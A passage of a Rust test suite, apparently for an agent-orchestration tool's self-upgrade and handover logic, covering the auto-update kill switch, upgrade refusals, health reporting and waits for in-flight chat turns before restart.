19675 assert!(slots.live.contains(id), "the slot is still held meanwhile");
19676 drop(slots);
19677 dropper.join().expect("join");
19678 assert!(!ui.talk_turns.lock().unwrap().live.contains(id));
19679 }
19680
19681 #[tokio::test]
19682 async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
19683 let fx = Fixture::start().await;
19684 let mut beat = crate::daemon::Status::new();
19688 beat.pid = 4321;
19689 beat.updated_at = jiff::Timestamp::now();
19690 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
19691 .expect("publish a heartbeat");
19692
19693 let res = fx.post("/api/upgrade", None).await;
19694 assert_eq!(res.status, 409);
19695 let err = res.json()["error"].as_str().unwrap().to_owned();
19696 assert!(err.contains("4321"), "the refusal names the owner: {err}");
19697 assert!(err.contains("old one against the same queue"), "{err}");
19698 }
19699
19700 #[test]
19707 fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
19708 assert!(!should_spawn_recheck(&crate::config::Update {
19709 mode: UpdateMode::Off,
19710 interval: None,
19711 }));
19712
19713 unsafe {
19716 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
19717 }
19718 let killed = should_spawn_recheck(&crate::config::Update {
19719 mode: UpdateMode::Notify,
19720 interval: None,
19721 });
19722 unsafe {
19723 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
19724 }
19725 assert!(
19726 !killed,
19727 "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
19728 one-time startup check"
19729 );
19730
19731 assert!(should_spawn_recheck(&crate::config::Update {
19732 mode: UpdateMode::Notify,
19733 interval: None,
19734 }));
19735 }
19736
19737 #[test]
19743 fn recheck_poll_period_tracks_a_short_configured_interval() {
19744 let short = crate::config::Update {
19745 mode: UpdateMode::Notify,
19746 interval: Some("1m".to_owned()),
19747 };
19748 let period = recheck_poll_period(&short);
19749 assert!(
19750 period <= Duration::from_secs(30),
19751 "a one-minute interval must wake the task far sooner than the \
19752 default ceiling, or the deck would not notice within the \
19753 interval the operator configured: got {period:?}"
19754 );
19755
19756 let default = crate::config::Update {
19757 mode: UpdateMode::Notify,
19758 interval: None,
19759 };
19760 assert_eq!(
19761 recheck_poll_period(&default),
19762 UPDATE_RECHECK_POLL_MAX,
19763 "the default day-long interval should poll at the (capped) \
19764 ceiling rather than needlessly often"
19765 );
19766 }
19767
19768 #[test]
19776 fn recheck_skips_the_network_before_the_interval_elapses() {
19777 let dir = TempDir::new().expect("temp dir");
19778 let path = dir.path().join("state.json");
19779 let state = kaishin::UpdateCheckState {
19780 last_checked_unix: jiff::Timestamp::now().as_second() as u64,
19781 last_known_latest: None,
19782 last_known_url: None,
19783 };
19784 kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
19785
19786 let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
19787 assert!(
19788 !update_recheck_due(&checker, None),
19789 "a check made moments ago must not be repeated before the \
19790 configured interval elapses"
19791 );
19792 }
19793
19794 #[test]
19800 fn recheck_defers_to_an_upgrade_already_in_flight() {
19801 let dir = TempDir::new().expect("temp dir");
19802 let path = dir.path().join("state.json");
19803 let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
19804 let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
19805
19806 assert!(
19807 !update_recheck_due(&checker, Some(&progress)),
19808 "a recheck must not run while an upgrade this deck started is \
19809 still moving"
19810 );
19811 }
19812
19813 #[tokio::test]
19814 async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
19815 unsafe {
19827 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
19828 }
19829 let fx = Fixture::start().await;
19830 let res = fx.post("/api/upgrade", None).await;
19831 unsafe {
19832 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
19833 }
19834 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
19835 let body = res.json();
19836 assert!(body["to"].is_null(), "there was no release to move to");
19837 assert!(body["parked"].is_null(), "and nothing was parked");
19838 assert!(
19839 body["detail"]
19840 .as_str()
19841 .unwrap()
19842 .contains("disabled by MAGI_NO_AUTOUPDATE"),
19843 "{body:?}"
19844 );
19845 }
19846
19847 fn seeded_progress(stage: crate::updater::Stage) -> crate::updater::Progress {
19848 let mut p = crate::updater::Progress::new("0.1.0".into(), "v0.2.0".into());
19849 p.stage = stage;
19850 p
19851 }
19852
19853 #[test]
19854 fn busy_stages_match_the_ui_set() {
19855 use crate::updater::Stage;
19856 assert!(APP_JS.contains(
19857 "UPGRADE_BUSY_STAGES = new Set([\"downloading\", \"replaced\", \"parking\", \"restarting\"])"
19858 ));
19859 for s in [
19860 Stage::Downloading,
19861 Stage::Replaced,
19862 Stage::Parking,
19863 Stage::Restarting,
19864 ] {
19865 assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_some());
19866 }
19867 for s in [Stage::Done, Stage::Failed] {
19868 assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_none());
19869 }
19870 assert!(upgrade_in_motion(None).is_none());
19871 }
19872
19873 #[tokio::test]
19874 async fn a_second_upgrade_during_a_busy_stage_is_refused_and_changes_nothing() {
19875 use crate::updater::Stage;
19876 for stage in [
19877 Stage::Downloading,
19878 Stage::Replaced,
19879 Stage::Parking,
19880 Stage::Restarting,
19881 ] {
19882 let fx = Fixture::start().await;
19883 let seeded = seeded_progress(stage);
19884 crate::updater::write_progress(fx.home.path(), &seeded).expect("seed");
19885 let before = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
19886 .expect("read");
19887
19888 let res = fx.post("/api/upgrade", None).await;
19889 assert_eq!(res.status, 409, "{stage:?}");
19890 let err = res.json()["error"].as_str().unwrap().to_owned();
19891 assert!(err.contains("already in progress"), "{err}");
19892 assert!(err.contains(stage.as_str()), "{err}");
19893
19894 let after = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
19895 .expect("read");
19896 assert_eq!(before, after, "{stage:?}: upgrade.json is untouched");
19897 let log = std::fs::read_to_string(crate::updater::log_path(fx.home.path()))
19898 .unwrap_or_default();
19899 assert!(!log.contains("signalling HANDOVER"), "{log}");
19900 }
19901 }
19902
19903 #[tokio::test]
19904 async fn an_upgrade_after_a_finished_or_failed_one_is_allowed() {
19905 use crate::updater::Stage;
19906 let repo = TempDir::new().expect("repo dir");
19907 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
19908 .expect("write magi.toml");
19909 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
19910 for stage in [Stage::Done, Stage::Failed] {
19911 crate::updater::write_progress(fx.home.path(), &seeded_progress(stage)).expect("seed");
19912 let res = fx.post("/api/upgrade", None).await;
19913 assert_eq!(res.status, 200, "{stage:?}");
19914 }
19915 let _ = std::fs::remove_file(crate::updater::progress_path(fx.home.path()));
19917 assert_eq!(fx.post("/api/upgrade", None).await.status, 200);
19918 }
19919
19920 #[tokio::test]
19921 async fn an_upgrade_with_nothing_to_install_changes_nothing() {
19922 let repo = TempDir::new().expect("repo dir");
19938 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
19939 .expect("write magi.toml");
19940 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
19941
19942 let res = fx.post("/api/upgrade", None).await;
19948 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
19949 let body = res.json();
19950 assert!(body["to"].is_null(), "there was no release to move to");
19951 assert!(body["parked"].is_null(), "and nothing was parked");
19952 assert!(
19953 body["detail"]
19954 .as_str()
19955 .unwrap()
19956 .contains("nothing restarted"),
19957 "{body:?}"
19958 );
19959 }
19960
19961 #[tokio::test]
19962 async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
19963 let repo = TempDir::new().expect("repo dir");
19968 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
19969 .expect("write magi.toml");
19970 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
19971
19972 let health = fx.get("/api/health").await.json();
19973 assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
19974 assert_eq!(
19975 health["update"]["available"], false,
19976 "checking is off, which reads as \"unknown\", not \"none\""
19977 );
19978 assert!(health["update"]["to"].is_null());
19979 assert!(
19980 health["upgrade"].is_null(),
19981 "nothing has ever asked this deck to upgrade"
19982 );
19983 }
19984
19985 #[tokio::test]
19986 async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
19987 let fx = Fixture::start().await;
19988 write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
19989
19990 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
19991 progress.parked_run = Some("20260905-000000-cd51".to_owned());
19992 progress.advance(crate::updater::Stage::Parking);
19993 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
19994
19995 let health = fx.get("/api/health").await.json();
19996 assert_eq!(health["upgrade"]["stage"], "parking");
19997 assert_eq!(health["upgrade"]["from"], "0.5.1");
19998 assert_eq!(health["upgrade"]["to"], "0.5.2");
19999 let waiting_on = health["upgrade"]["waiting_on"]
20000 .as_str()
20001 .expect("waiting_on is set while parking a known run");
20002 assert!(waiting_on.contains("cd51"), "{waiting_on}");
20003 assert!(waiting_on.contains("implementing"), "{waiting_on}");
20004 }
20005
20006 #[tokio::test]
20007 async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
20008 let fx = Fixture::start().await;
20009 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
20010 progress.advance(crate::updater::Stage::Done);
20011 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
20012
20013 let health = fx.get("/api/health").await.json();
20014 assert_eq!(health["upgrade"]["stage"], "done");
20015 assert!(
20016 health["upgrade"]["waiting_on"].is_null(),
20017 "nothing to wait on once it is done"
20018 );
20019 }
20020
20021 #[tokio::test]
20022 async fn hand_over_advances_the_upgrade_progress_through_parking_and_restarting() {
20023 let home = TempDir::new().expect("temp home");
20024 let runs = home.path().join("runs");
20025 std::fs::create_dir_all(&runs).expect("runs dir");
20026 let ui = Ui::new(
20027 Queue::at(home.path().join("queue")),
20028 Questions::at(home.path().join("questions")),
20029 Talks::at(home.path().join("talks")),
20030 runs,
20031 home.path().to_path_buf(),
20032 PathBuf::from("/repo/magi"),
20033 )
20034 .with_launch(launch_idle);
20035 let looping = ui.looping();
20036 let turns = ui.turns();
20037 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
20038 .await
20039 .expect("bind loopback");
20040 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
20041
20042 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
20043 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
20044
20045 hand_over(
20046 home.path(),
20047 &looping,
20048 &turns,
20049 &|_: &[String]| Duration::from_secs(5),
20050 served,
20051 |_| Ok(1),
20052 )
20053 .await
20054 .expect("hand over");
20055
20056 let after = crate::updater::read_progress(home.path()).expect("progress on disk");
20057 assert_eq!(
20058 after.stage,
20059 crate::updater::Stage::Restarting,
20060 "hand_over owns the record through parking and up to restarting; \
20061 the successor is what finishes it"
20062 );
20063 }
20064
20065 #[tokio::test]
20068 async fn hand_over_calls_the_successor_exactly_once_and_logs_the_steps() {
20069 for fail in [false, true] {
20070 let home = TempDir::new().expect("temp home");
20071 let ui = idle_ui(&home);
20072 let looping = ui.looping();
20073 let turns = ui.turns();
20074 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
20075 .await
20076 .expect("bind loopback");
20077 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
20078 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
20079 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
20080
20081 let calls = std::sync::atomic::AtomicUsize::new(0);
20082 let outcome = hand_over(
20083 home.path(),
20084 &looping,
20085 &turns,
20086 &|_: &[String]| Duration::from_secs(5),
20087 served,
20088 |_| {
20089 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
20090 if fail {
20091 anyhow::bail!("no exec")
20092 } else {
20093 Ok(4242)
20094 }
20095 },
20096 )
20097 .await;
20098 assert_eq!(outcome.is_err(), fail);
20099 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
20100
20101 let log = std::fs::read_to_string(crate::updater::log_path(home.path()))
20102 .expect("upgrade.log is written under the home");
20103 for step in [
20104 "entered",
20105 "finish_loop",
20106 "listener released",
20107 "starting the successor",
20108 ] {
20109 assert!(log.contains(step), "missing `{step}` in:\n{log}");
20110 }
20111 assert!(
20112 log.contains(if fail { "did not start" } else { "pid 4242" }),
20113 "{log}"
20114 );
20115 }
20116 }
20117
20118 #[tokio::test]
20121 async fn the_handover_signal_wakes_one_waiter_once() {
20122 let signal = Notify::new();
20123 signal.notify_one();
20125 tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
20126 .await
20127 .expect("an early signal is still seen");
20128 assert!(
20130 tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
20131 .await
20132 .is_err(),
20133 "a consumed signal must not wake a second time"
20134 );
20135 let signal = std::sync::Arc::new(signal);
20137 let waiter = tokio::spawn({
20138 let signal = std::sync::Arc::clone(&signal);
20139 async move { wait_for_handover(&signal).await }
20140 });
20141 tokio::time::sleep(Duration::from_millis(20)).await;
20142 assert!(!waiter.is_finished(), "nothing was signalled yet");
20143 signal.notify_one();
20144 tokio::time::timeout(Duration::from_secs(5), waiter)
20145 .await
20146 .expect("a late signal wakes the waiter")
20147 .expect("join");
20148 }
20149
20150 #[tokio::test]
20151 async fn health_says_how_long_a_handover_has_been_stuck() {
20152 let fx = Fixture::start().await;
20153 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
20154 progress.advance(crate::updater::Stage::Replaced);
20155 progress.updated_at = Timestamp::now() - Duration::from_secs(600);
20156 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
20157
20158 let health = fx.get("/api/health").await.json();
20159 let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
20160 assert!(stuck >= 600, "{stuck}");
20161 assert_eq!(health["upgrade"]["stuck_kind"], "never_entered");
20162 assert!(health["upgrade"]["waiting_on"].as_str().is_some());
20163 }
20164
20165 #[tokio::test]
20166 async fn a_second_replaced_write_cannot_pull_a_parking_handover_back() {
20167 let home = tempfile::tempdir().expect("temp home");
20168 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
20169 progress.advance(crate::updater::Stage::Parking);
20170 crate::updater::write_progress(home.path(), &progress).expect("seed");
20171 let mut again = progress.clone();
20173 again.advance(crate::updater::Stage::Replaced);
20174 crate::updater::write_progress(home.path(), &again).expect("replaced");
20175 let fresh = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
20176 crate::updater::write_progress(home.path(), &fresh).expect("downloading");
20177 let after = crate::updater::read_progress(home.path()).expect("record");
20178 assert_eq!(after.stage, crate::updater::Stage::Parking);
20179 }
20180
20181 #[tokio::test]
20182 async fn health_does_not_call_a_live_parking_wait_stuck() {
20183 let fx = Fixture::start().await;
20184 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
20185 progress.parked_run = Some("20260905-000000-cd51".to_owned());
20186 progress.advance(crate::updater::Stage::Parking);
20187 let hours = Duration::from_secs(3 * 3600);
20188 progress.started_at = Timestamp::now() - hours;
20189 progress.updated_at = Timestamp::now() - hours;
20190 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
20191 let _lease = crate::updater::LeaseGuard::enter(
20192 fx.home.path(),
20193 Some("20260905-000000-cd51".to_owned()),
20194 );
20195
20196 let health = fx.get("/api/health").await.json();
20197 assert!(health["upgrade"]["stuck_for_secs"].is_null(), "{health}");
20198 assert!(health["upgrade"]["stuck_kind"].is_null());
20199 assert_eq!(health["upgrade"]["handover_alive"], true);
20200 let waiting_on = health["upgrade"]["waiting_on"]
20201 .as_str()
20202 .expect("waiting_on");
20203 assert!(waiting_on.contains("cd51"), "{waiting_on}");
20204 }
20205
20206 fn idle_ui(home: &TempDir) -> Ui {
20207 let runs = home.path().join("runs");
20208 std::fs::create_dir_all(&runs).expect("runs dir");
20209 Ui::new(
20210 Queue::at(home.path().join("queue")),
20211 Questions::at(home.path().join("questions")),
20212 Talks::at(home.path().join("talks")),
20213 runs,
20214 home.path().to_path_buf(),
20215 PathBuf::from("/repo/magi"),
20216 )
20217 .with_launch(launch_idle)
20218 }
20219
20220 async fn park_fixture(
20221 home: &TempDir,
20222 ) -> (
20223 Ui,
20224 Arc<Mutex<LoopState>>,
20225 Arc<Mutex<TalkTurns>>,
20226 tokio::task::JoinHandle<std::io::Result<()>>,
20227 ) {
20228 let ui = idle_ui(home);
20229 let looping = ui.looping();
20230 let turns = ui.turns();
20231 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
20232 .await
20233 .expect("bind loopback");
20234 let served = tokio::spawn(axum::serve(listener, ui.clone().router()).into_future());
20235 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
20236 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
20237 (ui, looping, turns, served)
20238 }
20239
20240 #[tokio::test]
20244 async fn hand_over_waits_for_a_running_chat_turn() {
20245 let home = TempDir::new().expect("temp home");
20246 let (ui, looping, turns, served) = park_fixture(&home).await;
20247 let ui = Arc::new(ui);
20248 let id = "20260901-000000-chat";
20249 let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
20250
20251 let calls = Arc::new(std::sync::atomic::AtomicUsize::new(0));
20252 let handover = tokio::spawn({
20253 let home = home.path().to_path_buf();
20254 let turns = Arc::clone(&turns);
20255 let calls = Arc::clone(&calls);
20256 async move {
20257 hand_over(
20258 &home,
20259 &looping,
20260 &turns,
20261 &|_: &[String]| Duration::from_secs(60),
20262 served,
20263 move |_| {
20264 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
20265 Ok(1)
20266 },
20267 )
20268 .await
20269 }
20270 });
20271
20272 let waiting = async {
20273 for _ in 0..200 {
20274 if crate::updater::read_progress(home.path())
20275 .is_some_and(|p| p.parked_talks == [id.to_owned()])
20276 {
20277 return;
20278 }
20279 tokio::time::sleep(Duration::from_millis(25)).await;
20280 }
20281 panic!("the park never named the chat turn");
20282 };
20283 waiting.await;
20284 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
20285
20286 let refused = ui.begin_talk_turn("20260901-000000-late").err();
20289 assert!(
20290 refused.is_some_and(|e| e.message.contains("upgrade in progress")),
20291 "a direct start says an upgrade is in progress"
20292 );
20293 assert!(
20294 ui.begin_queued_talk_turn("20260901-000000-late")
20295 .expect("queued claim")
20296 .is_none()
20297 );
20298 assert!(matches!(
20299 ui.begin_talk_turn_unless_pending("20260901-000000-late")
20300 .expect("start"),
20301 TalkTurnStart::Busy
20302 ));
20303 assert_eq!(turns.lock().unwrap().live.len(), 1);
20304
20305 let progress = crate::updater::read_progress(home.path()).expect("progress");
20307 let view = upgrade_progress_view(&ui, progress);
20308 assert!(
20309 view.waiting_on.as_deref().is_some_and(|w| w.contains(id)),
20310 "{:?}",
20311 view.waiting_on
20312 );
20313
20314 assert!(!handover.is_finished());
20315 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
20316 drop(turn);
20317 handover.await.expect("join").expect("hand over");
20318 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
20319 assert!(!turns.lock().unwrap().parking, "slots reopen afterwards");
20320 }
20321
20322 #[tokio::test]
20325 async fn hand_over_keeps_chat_open_until_the_loop_is_done() {
20326 let home = TempDir::new().expect("temp home");
20327 let (ui, looping, turns, served) = park_fixture(&home).await;
20328 let ui = Arc::new(ui);
20329 let (end_loop, loop_ended) = tokio::sync::oneshot::channel::<()>();
20331 lock_or_recover(&looping).live = Some(Live {
20332 stop: daemon::Stop::new(),
20333 handle: tokio::spawn(async move {
20334 let _ = loop_ended.await;
20335 }),
20336 opts: daemon::Opts::default(),
20337 });
20338
20339 let calls = Arc::new(std::sync::atomic::AtomicUsize::new(0));
20340 let handover = tokio::spawn({
20341 let home = home.path().to_path_buf();
20342 let turns = Arc::clone(&turns);
20343 let calls = Arc::clone(&calls);
20344 async move {
20345 hand_over(
20346 &home,
20347 &looping,
20348 &turns,
20349 &|_: &[String]| Duration::from_secs(60),
20350 served,
20351 move |_| {
20352 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
20353 Ok(1)
20354 },
20355 )
20356 .await
20357 }
20358 });
20359
20360 let reached = async {
20361 for _ in 0..200 {
20362 if crate::updater::read_progress(home.path())
20363 .is_some_and(|p| p.stage == crate::updater::Stage::Parking)
20364 {
20365 return;
20366 }
20367 tokio::time::sleep(Duration::from_millis(25)).await;
20368 }
20369 panic!("the hand-over never reached parking");
20370 };
20371 reached.await;
20372
20373 assert!(!turns.lock().unwrap().parking);
20375 let turn = ui
20376 .begin_talk_turn("20260901-000000-chat")
20377 .expect("claim")
20378 .expect("a turn can start while the loop parks");
20379
20380 end_loop.send(()).expect("loop still waiting");
20382 for _ in 0..200 {
20383 if turns.lock().unwrap().parking {
20384 break;
20385 }
20386 tokio::time::sleep(Duration::from_millis(25)).await;
20387 }
20388 assert!(
20389 turns.lock().unwrap().parking,
20390 "closed once the loop is done"
20391 );
20392 let refused = ui.begin_talk_turn("20260901-000000-late").err();
20393 assert!(
20394 refused.is_some_and(|e| e.message.contains("upgrade in progress")),
20395 "no turn starts once the loop is done"
20396 );
20397 assert!(
20398 ui.begin_queued_talk_turn("20260901-000000-late")
20399 .expect("queued claim")
20400 .is_none()
20401 );
20402 assert!(!handover.is_finished());
20403 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
20404
20405 drop(turn);
20406 handover.await.expect("join").expect("hand over");
20407 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
20408 assert!(!turns.lock().unwrap().parking, "slots reopen afterwards");
20409 }
20410
20411 #[tokio::test]
20414 async fn hand_over_gives_up_on_a_stuck_chat_turn_after_the_bound() {
20415 let home = TempDir::new().expect("temp home");
20416 let (ui, looping, turns, served) = park_fixture(&home).await;
20417 let id = "20260901-000000-stuk";
20418 let _turn = ui.begin_talk_turn(id).expect("claim").expect("free");
20419
20420 let calls = std::sync::atomic::AtomicUsize::new(0);
20421 hand_over(
20422 home.path(),
20423 &looping,
20424 &turns,
20425 &|_: &[String]| Duration::from_millis(300),
20426 served,
20427 |_| {
20428 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
20429 Ok(1)
20430 },
20431 )
20432 .await
20433 .expect("hand over");
20434 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
20435
20436 let progress = crate::updater::read_progress(home.path()).expect("progress");
20437 assert_eq!(progress.stage, crate::updater::Stage::Restarting);
20438 assert!(
20439 progress.detail.as_deref().is_some_and(|d| d.contains(id)),
20440 "{:?}",
20441 progress.detail
20442 );
20443 let log = std::fs::read_to_string(crate::updater::log_path(home.path())).expect("log");
20444 assert!(
20445 log.contains("handing over anyway") && log.contains(id),
20446 "{log}"
20447 );
20448 }
20449
20450 #[tokio::test]
20453 async fn drain_loop_starts_no_turn_while_parking() {
20454 let tmp = TempDir::new().expect("tempdir");
20455 let repo = tmp.path().join("repo");
20456 std::fs::create_dir_all(&repo).expect("repo dir");
20457 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
20458 let home = TempDir::new().expect("temp home");
20459 let talks = Talks::at(home.path().join("talks"));
20460 let ui = Ui::new(
20461 Queue::at(home.path().join("queue")),
20462 Questions::at(home.path().join("questions")),
20463 talks.clone(),
20464 home.path().join("runs"),
20465 home.path().to_path_buf(),
20466 repo.clone(),
20467 )
20468 .with_worktrees_root(home.path().join("wt"));
20469 let cfg = config_for(&repo).await.expect("discover config");
20470 let mut talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
20471 let id = talk.id.clone();
20472 talk::queue(&mut talk, &talks, "later", Vec::new()).expect("queue");
20473 let turn = ui.begin_talk_turn(&id).expect("claim").expect("free");
20474 let turns = ui.turns();
20475 let parking = ParkingTurns::begin(&turns);
20476
20477 drain_loop(talk, talks.clone(), cfg, id.clone(), turn).await;
20478
20479 assert!(
20480 turns.lock().unwrap().live.is_empty(),
20481 "the slot is given up"
20482 );
20483 let fresh = talks.get(&id).expect("talk");
20484 assert_eq!(fresh.pending, "later", "the draft is still queued");
20485 assert!(fresh.turns.is_empty(), "no turn ran");
20486 drop(parking);
20487 }
20488
20489 async fn handed_over(home: &TempDir, ui: Ui) -> bool {
20491 let looping = ui.looping();
20492 let turns = ui.turns();
20493 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
20494 .await
20495 .expect("bind loopback");
20496 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
20497 let told = std::sync::Mutex::new(None);
20498 hand_over(
20499 home.path(),
20500 &looping,
20501 &turns,
20502 &|_: &[String]| Duration::from_secs(5),
20503 served,
20504 |resume| {
20505 *told.lock().unwrap() = Some(resume);
20506 Ok(1)
20507 },
20508 )
20509 .await
20510 .expect("hand over");
20511 told.into_inner().unwrap().expect("successor was started")
20512 }
20513
20514 #[tokio::test]
20515 async fn a_running_loop_is_resumed_by_the_successor() {
20516 let home = TempDir::new().expect("temp home");
20517 let ui = idle_ui(&home);
20518 ui.start_loop(None).expect("start");
20519 ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
20520 for _ in 0..500 {
20522 if !ui.loop_view(None).running {
20523 break;
20524 }
20525 tokio::time::sleep(Duration::from_millis(2)).await;
20526 }
20527 assert!(handed_over(&home, ui).await, "a running loop must resume");
20528
20529 let successor = idle_ui(&home);
20530 assert!(!successor.loop_view(None).running);
20531 assert!(successor.resume_after_handover(true));
20532 assert!(successor.loop_view(None).running);
20533 successor.stop_loop(None, false).expect("stop");
20534 }
20535
20536 #[tokio::test]
20537 async fn a_second_upgrade_request_keeps_the_resume_intent() {
20538 let home = TempDir::new().expect("temp home");
20539 let ui = idle_ui(&home);
20540 ui.start_loop(None).expect("start");
20541 ui.park_for_upgrade("0.1.0", Some("0.1.1"))
20542 .expect("first park");
20543 ui.park_for_upgrade("0.1.0", Some("0.1.1"))
20544 .expect("second park");
20545 assert!(handed_over(&home, ui).await);
20546 }
20547
20548 #[tokio::test]
20549 async fn a_stop_during_the_handover_wait_is_honoured() {
20550 let home = TempDir::new().expect("temp home");
20551 let ui = idle_ui(&home);
20552 ui.start_loop(None).expect("start");
20553 ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
20554 ui.stop_loop(None, false).expect("stop");
20555 assert!(!handed_over(&home, ui).await);
20556 }
20557
20558 #[tokio::test]
20559 async fn an_idle_loop_stays_stopped_across_the_handover() {
20560 let home = TempDir::new().expect("temp home");
20561 let ui = idle_ui(&home);
20562 ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
20563 assert!(!handed_over(&home, ui).await);
20564
20565 let successor = idle_ui(&home);
20566 assert!(!successor.resume_after_handover(false));
20567 assert!(!successor.loop_view(None).running);
20568 }
20569
20570 #[tokio::test]
20571 async fn a_loop_the_operator_stopped_is_not_resumed() {
20572 let home = TempDir::new().expect("temp home");
20573 let ui = idle_ui(&home);
20574 ui.start_loop(None).expect("start");
20575 ui.stop_loop(None, false).expect("stop");
20576 ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
20577 assert!(!handed_over(&home, ui).await);
20578 }
20579
20580 #[test]
20581 fn only_an_explicit_one_requests_a_resume() {
20582 assert!(!resume_requested(None));
20583 assert!(!resume_requested(Some("0".into())));
20584 assert!(!resume_requested(Some("".into())));
20585 assert!(resume_requested(Some("1".into())));
20586 }
20587
20588 #[test]
20589 fn the_upgrade_button_arms_before_it_restarts_anything() {
20590 assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
20593 assert!(APP_JS.contains("Replace the binary and restart?"));
20594 assert!(APP_JS.contains("function confirmed("));
20595 assert!(APP_JS.contains("show(upgradeBtn, !foreign && update.available)"));
20600 assert!(
20604 APP_JS.contains("Parking, then restarting"),
20605 "the button says what it is waiting for"
20606 );
20607 assert!(APP_JS.contains("if (!out.to)"));
20610 }
20611
20612 #[test]
20613 fn stopping_the_loop_arms_but_starting_does_not() {
20614 assert!(APP_JS.contains("Finish the run(s) in flight, then stop claiming?"));
20617 assert!(APP_JS.contains("Stop claiming new tasks? Nothing is in flight."));
20618 assert!(APP_JS.contains("confirmed(button, question)"));
20619 assert!(!APP_JS.contains("setText(btn, \"Update & restart\");\n }\n }, 6000)"));
20622 assert!(APP_JS.contains("const label = btn.textContent;"));
20623 assert!(!APP_JS.contains("Neither direction is guarded"));
20624 }
20625
20626 #[test]
20627 fn the_running_version_is_shown_regardless_of_whether_an_update_exists() {
20628 assert!(
20629 APP_JS.contains("state.health.version"),
20630 "the operator wants to know what is running even with nothing newer"
20631 );
20632 assert!(APP_JS.contains("id=\"daemon-version\"") || APP_CSS.contains(".daemon-version"));
20633 }
20634
20635 #[test]
20636 fn the_upgrade_button_names_its_destination() {
20637 assert!(
20638 APP_JS.contains("`Update to ${update.to}`"),
20639 "pressing the button should not be a surprise about what it moves to"
20640 );
20641 }
20642
20643 #[test]
20644 fn an_upgrade_in_progress_is_shown_as_stages_not_as_an_error() {
20645 for stage in ["downloading", "replaced", "parking", "restarting"] {
20646 assert!(
20647 APP_JS.contains(&format!("\"{stage}\"")),
20648 "the phone must be able to tell {stage} apart from the others"
